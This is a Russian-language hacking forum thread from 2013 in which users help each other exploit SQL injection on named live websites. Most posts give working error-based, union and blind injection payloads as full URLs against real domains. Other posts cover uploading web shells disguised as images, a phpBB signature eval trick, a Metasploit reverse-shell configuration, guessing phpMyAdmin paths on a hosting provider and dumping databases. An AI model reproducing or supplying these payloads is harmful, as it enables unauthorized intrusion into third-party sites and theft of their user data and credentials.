cards - первая таблица, так как limit n,1, где n=0

дальше перебирай с помощью лимита, n=n+1

UPD

смотри

http://s019.radikal.ru/i637/1310/6a/2c6496b37400.jpg

Вот это запрос на выборку данных (usernameи password) из таблицы user. (то, что в области с красной границей, это и есть данные вида usernameassword).

Для перебора используем лимит(то, что в области с желтой границей).

aivi
04.10.2013, 13:54
Всем доброго времени суток, подскажите как узнать имя залитого файла. залил шелл формата wso2.php.jpg

Движок на который заливал OpenCart

zombak18
04.10.2013, 14:44
Подскажите..

Как из запроса


or(select 11 from information_schema.tables group by concat((select card from card.cards limit 1,1),0x3b,version(),floor(rand(0)*2)) having count(*)) -- t


сделать запрос по получению всех таблиц или столбцов из таблицы Cards

psihoz26
04.10.2013, 14:59
Code:
$result = mysql_query("SELECT * FROM profiles where login = '$username' and sa = '$otvet_na_vopros' and sq = '$u2'") or die("niiiii");

тут только в слепую крутить получается через benchmark

в других же случаях выдает niiiii =\

подскажите как ещё попробовать??

mmx2012
04.10.2013, 16:24
Приветствую!

Дано: joomla 2.5.x, читалка файлов (через скрипт с file_get_contents), одна слепая скуля и в результате нее (сбрутил пароль из users) доступ в админку джумлы с правами редактора. Вопрос: как залить шелл? Нифига не получается - уже голову всю сломал. Через png с прицепленым к концу wso shell не получается, да и file_priv = N, соответственно через INTO OUTFILE тоже мимо

Massay
04.10.2013, 16:32
Помогите раскрутить, через sqlmap не получается у меня.

info(.)dra(c)onic(.)ru/?part=npcs&id=95%27%22\%27\%22\ - без ( )

Unknown
05.10.2013, 11:39
psihoz26 said:

Code:
$result = mysql_query("SELECT * FROM profiles where login = '$username' and sa = '$otvet_na_vopros' and sq = '$u2'") or die("niiiii");

тут только в слепую крутить получается через benchmark
в других же случаях выдает niiiii =\
подскажите как ещё попробовать??


Зависит от того, что потом происходит с данными из $result.


Massay said:
Помогите раскрутить, через sqlmap не получается у меня.
info(.)dra(c)onic(.)ru/?part=npcs&id=95%27%22\%27\%22\ - без ( )



Запятые вырезаются

http://info.draconic.ru/?part=npcs&id=95 and mid(version()from 1 for 1)=5

Massay
05.10.2013, 15:40
Перешел по ссылке ничего не произошло. Скажите пожалуйста можно розкрутить sql injection по моей ссылке. Если да, буду вам очень признателен за помощь.

er9j6@
05.10.2013, 15:42
Massay said:
Перешел по ссылке ничего не произошло. Скажите пожалуйста можно розкрутить sql injection по моей ссылке. Если да, буду вам очень признателен за помощь.


думаю , что нет

EoGeneo
05.10.2013, 16:24
Massay said:
Перешел по ссылке ничего не произошло. Скажите пожалуйста можно розкрутить sql injection по моей ссылке. Если да, буду вам очень признателен за помощь.


101% ничего не выйдет

Unknown
05.10.2013, 16:34
Massay said:
Перешел по ссылке ничего не произошло. Скажите пожалуйста можно розкрутить sql injection по моей ссылке. Если да, буду вам очень признателен за помощь.


Раскрутить можно как классическую слепую


Code:
function AntiInject($str, $max_len = 500)
{
$words = array("\\", "'", ",", ";", "--", "%20", "%27", "$", "*", "WHERE", "DELETE", "DROP", "SELECT", "UPDATE", "INSERT", "EXEC", "TRUNCATE", "SHUTDOWN", "");
/* replacing , ----->>*/ $str = trim(str_replace($words, "", $str));
if (strlen($str)>$max_len) $str = "";
return $str;
}

Доставило, что при проверке содержимое не приводится к общему регистру.

+

http://info.draconic.ru/?part=npcs&id=95 and mid((select version())from 1 for 1)=5

-

http://info.draconic.ru/?part=npcs&id=95 and mid((select version())from 1 for 1)=4

winstrool
05.10.2013, 20:48
qaz said:
хотел короче залить шелл в phpbb3, пытаюсь разрешить в шаблонах выполнение php а в ответ ,,Найди другой форум, и ломай его, а от этого отъябись.,, )) мб есть другие способы? гугл не помог


попробуй через востонавление БД, создаешь файлик, в нем прописываешь:


PHP:
UPDATE nuke_bbusers SET user_sig_bbcode_uid='(. +)/e\0',user_sig='phpbb:phpinfo()'WHERE user_id=2;

потом идешь в профиль аккаунта и смотришь выполнится ли пхпинфо user_id=2 это акк к которому есть доступ, по умолчанию админский прописан...

qaz
05.10.2013, 21:21
winstrool said:
попробуй через востонавление БД, создаешь файлик, в нем прописываешь:

PHP:
UPDATE nuke_bbusers SET user_sig_bbcode_uid='(. +)/e\0',user_sig='phpbb:phpinfo()'WHERE user_id=2;

потом идешь в профиль аккаунта и смотришь выполнится ли пхпинфо
user_id=2
это акк к которому есть доступ, по умолчанию админский прописан...


перерыл всю админку, нема в третей версии возможности загрузить файл для востановления БД

kilo_star
05.10.2013, 23:40
Inoms said:
Юнион там без полезен, он ничего не отображает, работает только по ошибкам всё.
ЗЫ: union select+1,2,3,4,count(*),concat((select+table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,floor(rand(0)*2)) x from information_schema.tables group by x -- t


Растолкуйте пожалуйста запрос:

concat((select+table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,floor(rand(0)*2))

что он делает? по идее вроде после 0x3a ожидается ввод параметра или нет?

и для чего здесь count(*)?

qaz
06.10.2013, 00:10
kilo_star said:
Растолкуйте пожалуйста запрос:
concat((select+table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,floor(rand(0)*2))
что он делает? по идее вроде после 0x3a ожидается ввод параметра или нет?
и для чего здесь count(*)?


запрос выбирает таблицы из текущей базы

Ravenous
06.10.2013, 00:27
qaz said:
перерыл всю админку, нема в третей версии возможности загрузить файл для востановления БД


Все верно, тебе просто по ошибке написали для phpbb2

Для phpbb3 все проще

https://rdot.org/forum/showpost.php?p=1143&postcount=2

kilo_star
06.10.2013, 00:29
qaz said:
запрос выбирает таблицы из текущей базы


непонятна конкретно эта часть:

0x3a,floor(rand(0)*2))

Unknown
06.10.2013, 01:08
kilo_star said:
непонятна конкретно эта часть:
0x3a,floor(rand(0)*2))


floor(rand(0)*2) - выражение, которое приводит к ошибке в базе данных, вследствии чего происходит вывод данных.

Inoms
06.10.2013, 03:50
kilo_star said:
непонятна конкретно эта часть:
0x3a,floor(rand(0)*2))


0x3a - двоеточие. Следующая запись нужна для того, чтобы повторить значение, что вызывает ошибку группировки (повтор записи). функция rand() генерирует кажыдй раз новое значение, которое не совпадает с предыдущим, чтобы значения были предсказуемы (т.е после первого rand идёт 1.241763483026776 и так всегда) ему кидается аргумент, наиболее подходящий для floor. floor берет из полученного значения только его целое, т.е только то, что идет перед . и каждый 2 раз (в случаи с rand(0)) получается одно и то-же значение.Кстати, вместо этой конструкции можно написать rand(rand(0)), что каждый раз будет возвращать одно и то-же , только к выводу уже прибавится полученное значение значение.

qaz
06.10.2013, 12:38
Ravenous said:
Все верно, тебе просто по ошибке написали для phpbb2
Для phpbb3 все проще
https://rdot.org/forum/showpost.php?p=1143&postcount=2



не проще, я же писал


хотел короче залить шелл в phpbb3, пытаюсь разрешить в шаблонах выполнение php а в ответ ,,Найди другой форум, и ломай его, а от этого отъябись.,, )) мб есть другие способы? гугл не помог

Ravenous
06.10.2013, 15:51
qaz said:
не проще, я же писал


Я не видел, что ты писал.

Есть еще один способ.

https://rdot.org/forum/showpost.php?p=25479&postcount=7

qaz
06.10.2013, 16:50
такая проблемка

есть запрос

+union+select+1,user_password,3,4,5.6,7.8,9,10,11+ from+users+limit+0,1--+

в ответе

Table 'med.users' doesn't existTable 'med.users' doesn't exist

при попытке вывести названия баз ничего не выводит, можно былобы решить проблему взявши вывод в substring но присудствует фильтрация на скобки, что посоветуете?

Ravenous
06.10.2013, 19:13
qaz said:
такая проблемка
есть запрос
+union+select+1,user_password,3,4,5.6,7.8,9,10,11+ from+users+limit+0,1--+
в ответе
Table 'med.users' doesn't existTable 'med.users' doesn't exist
при попытке вывести названия баз ничего не выводит, можно былобы решить проблему взявши вывод в substring но присудствует фильтрация на скобки, что посоветуете?


Переводя с англ. таблица users не существует)

Судя по user_password ты ковыряешь phpbb, возможно у таблицы есть префикс, узнай сначало его, если есть information_schema.

qaz
06.10.2013, 20:44
Ravenous said:
Переводя с англ. таблица users не существует)
Судя по user_password ты ковыряешь phpbb, возможно у таблицы есть префикс, узнай сначало его, если есть information_schema.



вам не кажется что вам еще рановато давать советы в подобных темах?

я английский и без вас знаю, а то что в ответе указывается имя БД то тут и дураку станет понятно что она не одна, и поэтому выборку нужно сделать из тругой, а проблема состояла в том что не выходит выбрать имена БД из табле схема, о чём написано в предыдущем моём посте

yeti2
06.10.2013, 21:41
Не могу разобраться , что куда вставлять. =)

http://clip2net.com/clip/m75327/1381069381-clip-14kb.png?nocache=1

exploit

1. RHOST ( вставляем ИП сайта)

2. RPORT ( стандартный идет 80 )

3. TARGETURL ( вставляем директорию , где ajaxplorer )

4. VHOST ( Опять вставлять ИП сайта ?)

payload( он выбрал автоматически ) это cmd/unix/reverse

5. LHOST ( что поставить? ) (Я ставил ип машины своей)

6. LPORT ( Какой порт поставить ? стандартный тоже 80 или 8080 ? )

target здесь один "0"

Пишу exploit , вот что выдает


Code:
Started reverse double handler

Exploit completed, but no session was created.

Вот , что пишет и все. Больше ничего не происходит , где я сделал ошибку ?

Always
07.10.2013, 04:08
Massay said:
Помогите раскрутить, через sqlmap не получается у меня.
info(.)dra(c)onic(.)ru/?part=npcs&id=95%27%22\%27\%22\ - без ( )


http://0per.wordpress.com/tag/sql-injection/

BlackIce
07.10.2013, 13:53
Привет. Есть скуля в пост запросе, отправляю через тампер дата. Не могу подобрать число столбов:

1'+order+by+100+--+ Unknown column '100' in 'order clause'

1'+order+by+1+--+ Unknown column '1' in 'order clause'

psihoz26
07.10.2013, 16:57
Что делать если MySQL v4.1.21 ??

Тупо перебор колонок непохек, надо чтото поинтереснее.

YaBtr
07.10.2013, 17:40
psihoz26 said:
Что делать если MySQL v4.1.21 ??
Тупо перебор колонок непохек, надо чтото поинтереснее.


/thread43966.html

пункт 2.1.4 и, соответственно,подпункты.

Sanic1977
07.10.2013, 17:42
Sanic1977 said:
'%2bconvert(int,(SELECT+TOP+1+TABLE_NAME+FROM+INFO RMATION_SCHEMA.TABLES))%2b'
выдает ошибку
Subqueries are not allowed in this context. Only scalar expressions are allowed.
и как его обойти?



id=15&type='+convert(int,@@version)+'

выводит:

[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2055 (Intel X86) Dec 16 2008 19:46:53 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to a column of data type int.

Кто сможет объяснить, как вывести имя таблиц и колонок?

YaBtr
07.10.2013, 17:51
Sanic1977 said:
id=15&type='+convert(int,@@version)+'
выводит:
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2055 (Intel X86) Dec 16 2008 19:46:53 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to a column of data type int.
Кто сможет объяснить, как вывести имя таблиц и колонок?




id=15&type='+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMAT ION_SCHEMA.TABLES)--


В ответе должен получить что-то типа:


[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value '
table_name
' to a column of data type int.


UPD

Читайте https://rdot.org/forum/showthread.php?t=826, там все расписано.

Sanic1977
07.10.2013, 18:05
YaBtr said:
В ответе должен получить что-то типа:
UPD
Читайте https://rdot.org/forum/showthread.php?t=826, там все расписано.


на запрос id=15&type='+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMAT ION_SCHEMA.TABLES)--

получаю

[Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect syntax near the keyword 'or'.

SeveName
07.10.2013, 21:38
скулю раскрутил, только вот админку не могу найти( мож кто знает где она?

ArxSS и всякие онлайн сканеры не помогают


HTML:
http://www.scrutineer.ru/results.php?id=0+union+select+1,2,3,4,5,6,7,table_ name+from+information_schema.tables+limit+17,1+--+

Unknown
07.10.2013, 22:11
Always said:
100 не предел!


Что значит не предел???наверно тут один и тот же параметр попадает сразу в несколько запросов

psihoz26
08.10.2013, 16:54
YaBtr said:
/thread43966.html
пункт 2.1.4 и, соответственно,подпункты.


осутствует information_schema или не хватает пра для её просморта

mff
09.10.2013, 15:10
Ребят, подскажите как слить базу данных jumla имея логин, пароль и имя базы? Хостинг Timeweb.

er9j6@
09.10.2013, 15:31
mff said:
Ребят, подскажите как слить базу данных jumla имея логин, пароль и имя базы? Хостинг Timeweb.


попытаться найти sql-inject, если phpmyadmin на сайте не стоит

YaBtr
09.10.2013, 15:36
mff said:
Ребят, подскажите как слить базу данных jumla имея логин, пароль и имя базы? Хостинг Timeweb.


1. Воспользоваться PhpMyAdmin. (вкладка Export).

2. Залить дампер и слить базу (что-то типа Sypex Dumper и т.д.).

CrystalTears
09.10.2013, 15:38
er9j6@ said:
попытаться найти sql-inject, если phpmyadmin на сайте не стоит


http://sypex.net/ ?

mff
09.10.2013, 16:30
YaBtr said:
Воспользоваться PhpMyAdmin.


Я так и хотел сделать, но вот как узнать путь к phpmyadmin ?

Sum.cogitans
09.10.2013, 17:10
mff said:
Я так и хотел сделать, но вот как узнать путь к phpmyadmin ?


Ну во-первых, если коннект к базе разрешен извне, можешь залить PhpMyAdmin на любой свой сервер, в конфиге вместо localhost прописать IP сайта / логин и пароль / авторизация http. Или через любые другие утилиты умеющие подключаться к MySQL.

Если с удаленным подключением фейл, можно попробовать типовые пути, вдруг есть на сервере:

1. В корне сайта и в каталоге admin если есть - /pma/, /phpmyadmin/, /myadmin/

2. Те же варианты, только на субдомене - pma.site.com

3. Если это хостинг на базе ISP (только прописывай именно IP а не доменное имя) - https://127.0.0.1/myadmin/

mff
09.10.2013, 17:25
Sum.cogitans said:
2. Те же варианты, только на субдомене - pma.site.com


Да, там у них в зависимости от тарифа, имена имеют вид: https://bitrix132.timeweb.ru/pma/index.php и так далее.

Sum.cogitans
09.10.2013, 17:49
mff said:
Да, там у них в зависимости от тарифа, имена имеют вид: https://
bitrix132
.timeweb.ru/pma/index.php и так далее.


У timeweb в зоне субдомена логин или целая площадка? Если площадка возможно повезет:

HTTP

http://phoenix.timeweb.ru/phpMyAdmin/

http://scorpius.timeweb.ru/phpMyAdmin/

HTTPS

https://phoenix.timeweb.ru/pma/

https://scorpius.timeweb.ru/pma/

psihoz26
09.10.2013, 21:14
могу редактировать несколько php файлов на сервере

но к сожалению там ограничение в 500 символов кода

подскажите как можно залить шелл??

Always
10.10.2013, 03:32
делают такой зпрос

'and(select*from(select(name_const(version(),1)),n ame_const(version(),1))a)and'

вывод:

Duplicate column name '5.1.69'

отправляю такой запрос

'and(select+1+from(select+count(*),concat((select+ table_name+from+information_schema.tables+limit+1, 1),floor(rand(0)*2))x+from+information_schema.tabl es+group+by+x)a)='1/

вывод:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'from(select+count(*),concat((select+table_name+fr om+information_schema.tables+li' at line 1

в чем дело?

Unknown
10.10.2013, 04:24
Always said:
делают такой зпрос
'and(select*from(select(name_const(version(),1)),n ame_const(version(),1))a)and'
вывод:
Duplicate column name '5.1.69'
отправляю такой запрос
'and(select+1+from(select+count(*),concat((select+ table_name+from+information_schema.tables+limit+1, 1),floor(rand(0)*2))x+from+information_schema.tabl es+group+by+x)a)='1/
вывод:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'from(select+count(*),concat((select+table_name+fr om+information_schema.tables+li' at line 1
в чем дело?


В том, что твои "плюсы" отправляются напрямую в субд.

2 Oxotnik, эвал без палива? Что еще, по-твоему мнению, "без палива"? с99/r57 в корне или, быть может, дефейс главной ресурса?

Always
10.10.2013, 10:39
wacky said:
В том, что твои "плюсы" отправляются напрямую в субд.
Спасибо, первый раз с такой проблемой столкнулся!
А почему так происходит?

Unknowhacker
10.10.2013, 13:48
Code:
http://elc.in.ua/study.php?id=8'

Перекручивает всё .. зараза!

BigBear
10.10.2013, 14:16
Unknowhacker said:

Code:
http://elc.in.ua/study.php?id=8'

Перекручивает всё .. зараза!


Тут фильтр на наличие самого слова Select в запросе.

http://elc.in.ua/study.php?id=8+and+1=1+group+by+3+--+

Ковыряю.

Expl0ited
10.10.2013, 14:25
Unknowhacker said:

Code:
http://elc.in.ua/study.php?id=8'

Перекручивает всё .. зараза!


http://elc.in.ua/study.php?id=8+or(1)group+by(concat(version(),0x00 ,floor(rand(0)*2)))having(min(0)or(1))

Unknowhacker
10.10.2013, 14:31
Expl0ited said:
http://elc.in.ua/study.php?id=8+or(1)group+by(concat(version(),0x00 ,floor(rand(0)*2)))having(min(0)or(1))


Thx! Ну как я и ожидал, что это Blind. Мужики, а эти можете глянуть


Code:
http://www.sport-trade.ru/out.php?id=9%27+union+select+1,2,3,4,5,6,7,8,9,10, 11+--+
http://www.mebi.us/out.php?id=-5+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16+--+

Always
10.10.2013, 14:49
Unknowhacker said:

Code:
http://elc.in.ua/study.php?id=8'

Перекручивает всё .. зараза!


http://elc.in.ua/study.php?id=8%20and(select%201%20from(select%20co unt(*),concat((select%20table_name%20from%20inform ation_schema.tables%20limit%2040,1),floor(rand(0)* 2))x%20from%20information_schema.tables%20group%20 by%20x)a)=1

не могу дальше, ели грузит сайт! походу все накинулись со сканерами)

zombak18
10.10.2013, 14:55
В общем есть страничка.. boom.php?page=1&subcat= на который с ' выдает ошибку

CALL failed: (1064) You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''',0,5)' at line 1

Ничего не фильтрует наверно), как можно залить шелл или получить таблицы? Киньте пример мб..

YaBtr
10.10.2013, 15:06
Unknowhacker said:
Thx! Ну как я и ожидал, что это Blind. Мужики, а эти можете глянуть

Code:
http://www.sport-trade.ru/out.php?id=9%27+union+select+1,2,3,4,5,6,7,8,9,10, 11+--+
http://www.mebi.us/out.php?id=-5+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16+--+



www.mebi.us/out.php?id=5+and+mid(version(),1,1)=5

upd

Второй случай более интересен:

www.sport-trade.ru/out.php?id=-9'+union+select+1,2,3,4,5,6,7,8,9,version(),11+--+

Смотрим заголовок ответа сервера:

HTTP/1.1 302 Moved Temporarily

Servernginx/1.1.5

DateThu,10 Oct 2013 10:31:04 GMT

Content-Type text/ng

Transfer-Encoding chunked

Connectionkeep-alive

X-Powered-By PHP/5.2.17

location/out.php?id=5.1.70-cll

Ну или смотри адресную строку.

Inoms
10.10.2013, 15:36
Unknowhacker said:
Thx! Ну как я и ожидал, что это Blind. Мужики, а эти можете глянуть

Code:
http://www.sport-trade.ru/out.php?id=9%27+union+select+1,2,3,4,5,6,7,8,9,10, 11+--+
http://www.mebi.us/out.php?id=-5+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16+--+



http://www.sport-trade.ru/out.php?key=cat&a=item&item_id=7147%27%20UNION%20SELECT%201,2,3,4,5,6,7,u ser%28%29,9,10,11,12,13,14,15,16,17+--+

http://www.mebi.us/out.php?id=9&did=311%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,us er%28%29,12,13,14,15,16+--+

Always
10.10.2013, 22:58
отправляю

'and(select*from(select(name_const(version(),1)),n ame_const(version(),1))a)and'

получаю:

CDbCommand не удалось исполнить SQL-запрос: SQLSTATE[42S21]: Column already exists: 1060 Duplicate column name '5.5.33-log'

отправляю:

'and(select%201%20from(select%20count(*),concat((s elect%20table_name%20from%20information_schema.tab les%20limit%2010,1),floor(rand(0)*2))x%20from%20in formation_schema.tables%20group%20by%20x)a)and'

получаю:

CDbCommand не удалось исполнить SQL-запрос: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%201%20from(select%20count(*),concat((select%20ta ble_name%20from%20information_s' at line 3

выше подсказывали с "+" убрал, смог решить проблему. Тут хз что делать...если можно опишите подробно из-за чего возникает такая проблема с запросом!

Спасибо.

Inoms
10.10.2013, 23:24
Always, а что, если вместо пробелов использовать комментарии - /**/, или слитные конструкции ?

Как видно на примере, они не декодятся в аски символы и сырые попадают в запрос.

Unknown
11.10.2013, 00:06
Ну если там рерайт и параметры берутся из request_uri то "/" у него не получится использовать. В таком случае, остаются беспробельные конструкции.

Always
11.10.2013, 00:11
Inoms said:
Always, а что, если вместо пробелов использовать комментарии - /**/, или слитные конструкции ?
Как видно на примере, они не декодятся в аски символы и сырые попадают в запрос.


заменилна - /**/

CDbCommand не удалось исполнить SQL-запрос: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '*' LIKE url_id' at line 3

Unknown
11.10.2013, 00:16
Как я написал выше, в случае рерайта "/" игнорируется, как разделитель между параметрами(впрочем, зависит от самого рерайта конечно). Можешь попробовать беспробельные варианты, скобки как вариант.

Inoms
11.10.2013, 00:35
Да, все верно написали.

Сократить текущий запрос до того, чтобы там не было ни одного пробела\спец-символа увы нельзя.

Если там есть функция extractvalue, можно через неё часть данных выводить, если нет:

and(select(1)from(information_schema.tables)group by(concat(,floor(rand(0)*2)))having(min(0))) Кто уберет последний пробел ?

Для вывода чего-то по-очередно нужен лимит.. а там тоже коварный пробел всё портит.

Always
11.10.2013, 00:37
wacky said:
Как я написал выше, в случае рерайта "/" игнорируется, как разделитель между параметрами(впрочем, зависит от самого рерайта конечно). Можешь попробовать беспробельные варианты, скобки как вариант.


где можно почитать?

Спасибо за помощь!

Unknown
11.10.2013, 00:43
Версия 5.5, должен быть и extractvalue и updatexml.

Unknown
11.10.2013, 00:59
Always said:
где можно почитать?
Спасибо за помощь!


Почитать мануал по функциям и описание уязвимости на mysql.com

Примеры запросов с беспробельным дополнением extractvalue/updatexml

http://i.imgur.com/FM2V8QB.png

Вместо user() конструируешь подзапрос на вывод нужной информации, а лимитируешь mid/substring на 32 символа.

И да, надеюсь это чисто в образовательных целях, иначе твои действия могут преследоваться по закону.

Unknowhacker
11.10.2013, 12:08
Относится ли это к скули?

Warning: Function smartyShowObject() is deprecated in /var/www/сайт/сайт/tools/smarty_v2/compile/%%DE^DEF^DEF53A4D%%search.tpl.php on line 32

in /var/www/сайт/сайт/classes/Tools.php on line 1903

Помогите получить данные


Code:
http://www.it-kerDELETEch.com.ua/model_list?id=3&mod=1119%27*extractvalue%281,concat_ws%280x27,0x27 ,%28select%28table_name%29from%28information_schem a./*!tables*/%29limit/**/90,1%29%29%29*%27

YaBtr
11.10.2013, 14:50
Unknowhacker said:
Относится ли это к скули?
Warning:
Function smartyShowObject() is deprecated in /var/www/сайт/сайт/tools/smarty_v2/compile/%%DE^DEF^DEF53A4D%%search.tpl.php on line 32
in /var/www/сайт/сайт/classes/Tools.php on line 1903
Помогите получить данные

Code:
http://www.it-kerDELETEch.com.ua/model_list?id=3&mod=1119%27*extractvalue%281,concat_ws%280x27,0x27 ,%28select%28table_name%29from%28information_schem a./*!tables*/%29limit/**/90,1%29%29%29*%27



www.it-kerch.com.ua/model_list?id=3&mod=1119' union -- %0A%0D select*from(select 1)a1 join(select version())a2 join(select 3)a3 join(select 4)a4 join(select 5)a5 join(select 6)a6 join(select 7)a7+--+

Unknowhacker
11.10.2013, 20:15
YaBt

Версию я итак знаю 5.1.69-cll-lve


Code:
http://www.it-kerУДАЛИТЬch.com.ua/model_list?id=3&mod=1119%27*extractvalue%281,concat_ws%280x27,0x27 ,%28select%28table_name%29from%28information_schem a./*!tables*/%29limit/**/90,2%29%29%29*%27

Я имею ввиду перебрать весь лимит от 0,1 до 95,1 и узнать где данные юзеров. Я б и сам перебрал, но у меня SQLMAP не настраивается, я уже и видосы смотрел и мануалы читал.. нефига!

Sergio89
13.10.2013, 00:09
http://24alco . com /index.php?route=product/special

при переходе выдает ошибку синтаксиса, гляньте спецы!

herfleisch
13.10.2013, 02:09
В общем, нашел LFI, не получается раскрутить из-за нехватки памяти. Пробую загрузить через уязвимый скрипт /proc/self/fd/2 В ответ получаю:


Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 13721720 bytes) in /sites/xeksec/forum.example.com/[hidden] on line [hidden]


Понятно, не хватает выделенной в настройках PHP памяти. Есть варианты как-то обойти сие ограничение?

Always
13.10.2013, 03:02
Ночь добрая!

отправляю:

1'+union+select+1,2,3,4,5,6-- false

выпадает:

Query failed: ERROR: each UNION query must have the same number of columns LINE

отправляю:

'+union+select+1,2,3,4,5-- true

Query failed: ERROR: UNION types timestamp without time zone and integer cannot be matched LINE 3

отправляю:

1'+union+select+1,2,3,4-- false

Query failed: ERROR: each UNION query must have the same number of columns LINE 3

Насколько я понял из статьи:

https://rdot.org (https://rdot.org/forum/showthread.php?t=24)

5 столбцов

Решил перепроверить с

'+union+select+null,null,null,null,null-- false

'+union+select+null,null,null,null-- true

Вроде понятно что количество столбцов 5

А как вывести колонку?

Не пинайте первый раз с PostgreSQLмучаюсь

Konqi
13.10.2013, 03:09
PostgreSQL не такой демократичный как mysql, типы данных должны совпадать в обеих запросах

во первых если есть вывод ошибок то лучше раскрутить через нее, во вторых можно использовать конвертирование типов, в третьех можно методом тыка найти колонку которая подходит для ваших целей

вобщем читай

/thread35599.html

Always
13.10.2013, 03:34
Konqi said:
PostgreSQL не такой демократичный как mysql, типы данных должны совпадать в обеих запросах
во первых если есть вывод ошибок то лучше раскрутить через нее, во вторых можно использовать конвертирование типов, в третьех можно методом тыка найти колонку которая подходит для ваших целей
вобщем читай
/thread35599.html


А может есть какой нибудь раскрученный сайтик?

Просто потренироваться....понять!

ух...

Вот таким запросам стал выводить имена)

'+and+1=cast((SELECT+table_name+FROM+information_s chema.tables+LIMIT+1+OFFSET+0)+as+int)--

может кому будет интересно!

А это что за муть:

запрос:

'+and+1=cast((SELECT+usename||chr(58)||passwd+from +pg_user+LIMIT+1+OFFSET+3)+as+int)--

Query failed: ERROR: invalid input syntax for integer: "antoha:********" in


пасс под звездочками...

wanttoask
13.10.2013, 14:12
Где-то читал, что при добавлении в png текстового чанка, php выполняет код внутри него. Попробовал добавить


Code:


через TweakPNG, поместил в корневую директорию локалхоста, открываю изображение


Code:
localhost/Basketball.png?cm=mkdir hack

, ищу папку хак, а ее нет. Как делать это правильно?

Unknown
13.10.2013, 15:02
wanttoask said:
Где-то читал, что при добавлении в png текстового чанка, php выполняет код внутри него. Попробовал добавить

Code:


через TweakPNG, поместил в корневую директорию локалхоста, открываю изображение

Code:
localhost/Basketball.png?cm=mkdir hack

, ищу папку хак, а ее нет. Как делать это правильно?


Впринципе ты прав, но нужно чтоб сервер выполнял .png как php =) Это возможно только неправильной(злонамеренно ) настройке сервера, например можешь создать такой файл:

.htaccess


Code:
AddType application/x-httpd-php .png

Но просто так код в картинке выполняться не будет.

P.S. И у тебя код какой-то неправильный

wanttoask
13.10.2013, 15:09
За совет спасибо, но я ведь не смогу на чужом сервере htaccess менять

Unknown
13.10.2013, 15:15
wanttoask said:
За совет спасибо, но я ведь не смогу на чужом сервере htaccess менять


Да, скорее всего не сможешь. Но тут ничего не поделать, если бы в 2013 году во всех .png картинках исполнялся код наш мир не был бы таким каким мы его знаем.

wanttoask
13.10.2013, 15:18
Можно заставить файл аплоад думать, что я загружаю пнг/джпг и загружать пхп?

Unknown
13.10.2013, 15:21
Всё зависит от настроек сервера и кода скрипта.

Можешь например тут почитать: https://rdot.org/forum/showpost.php?p=1142&postcount=5

P.S. По мотивам оригинального вопроса вспомнился этот пост: /showpost.php?p=1473083&postcount=13

Пожалуйста

wanttoask
13.10.2013, 15:26
Спасибо

wanttoask
13.10.2013, 15:40
Можно ли *.php.jpeg как-нибудь переименовать, чтобы отсечь .jpeg?

Unknown
13.10.2013, 17:45
wanttoask said:
Можно ли *.php.jpeg как-нибудь переименовать, чтобы отсечь .jpeg?


Переименовать в *.php - отсекает jpeg с гарантией.

Каков вопрос - таков и ответ.

Always
16.10.2013, 02:26
Два раза подряд нахожу SQL inj в PostgreSQL

И никак не пойму почему при таком запросе:

'+and+1=cast((SELECT+usename||chr(58)||passwd+FROM +pg_user+LIMIT+1+OFFSET+1)+as+int)--

выдает:

Warning: ERROR: invalid input syntax for integer: "xxx3:********" query: select src from url_alias where dst='firms' and 1=cast((SELECT usename||chr(58)||passwd FROM pg_user LIMIT 1 OFFSET 1) as int)--' in /web/XXX/www/includes/database.pgsql.inc on line 160

пароль под звездочками...!

Что не так?

П.с.g_shadow - доступа нет.

брал аналогию запроса:

'+and+1=cast((SELECT+usename||chr(58)||passwd+FROM +pg_shadow+LIMIT+1+OFFSET+1)+as+int)--

Query failed: ERROR: invalid input syntax for integer: "pg_database" in /web/XXX/www/includes/database.pgsql.inc on line 139

Melfis
16.10.2013, 03:13
Always said:
Два раза подряд нахожу SQL inj в PostgreSQL
И никак не пойму почему при таком запросе:
'+and+1=cast((SELECT+usename||chr(58)||passwd+FROM +pg_user+LIMIT+1+OFFSET+1)+as+int)--
выдает:
Warning: ERROR: invalid input syntax for integer: "xxx3:********" query: select src from url_alias where dst='firms' and 1=cast((SELECT usename||chr(58)||passwd FROM pg_user LIMIT 1 OFFSET 1) as int)--' in /web/XXX/www/includes/database.pgsql.inc on line 160
пароль под звездочками...!
Что не так?
П.с.
g_shadow - доступа нет.
брал аналогию запроса:
'+and+1=cast((SELECT+usename||chr(58)||passwd+FROM +pg_shadow+LIMIT+1+OFFSET+1)+as+int)--
Query failed: ERROR: invalid input syntax for integer: "pg_database" in /web/XXX/www/includes/database.pgsql.inc on line 139


Потому что в pg_user не хранится пасс(http://www.postgresql.org/docs/8.3/static/view-pg-user.html), ну а на pg_shadow нужны рутовые права(к слову).

Always
17.10.2013, 04:04
Melfis said:
Потому что в pg_user не хранится пасс(http://www.postgresql.org/docs/8.3/static/view-pg-user.html), ну а на pg_shadow нужны рутовые права(к слову).


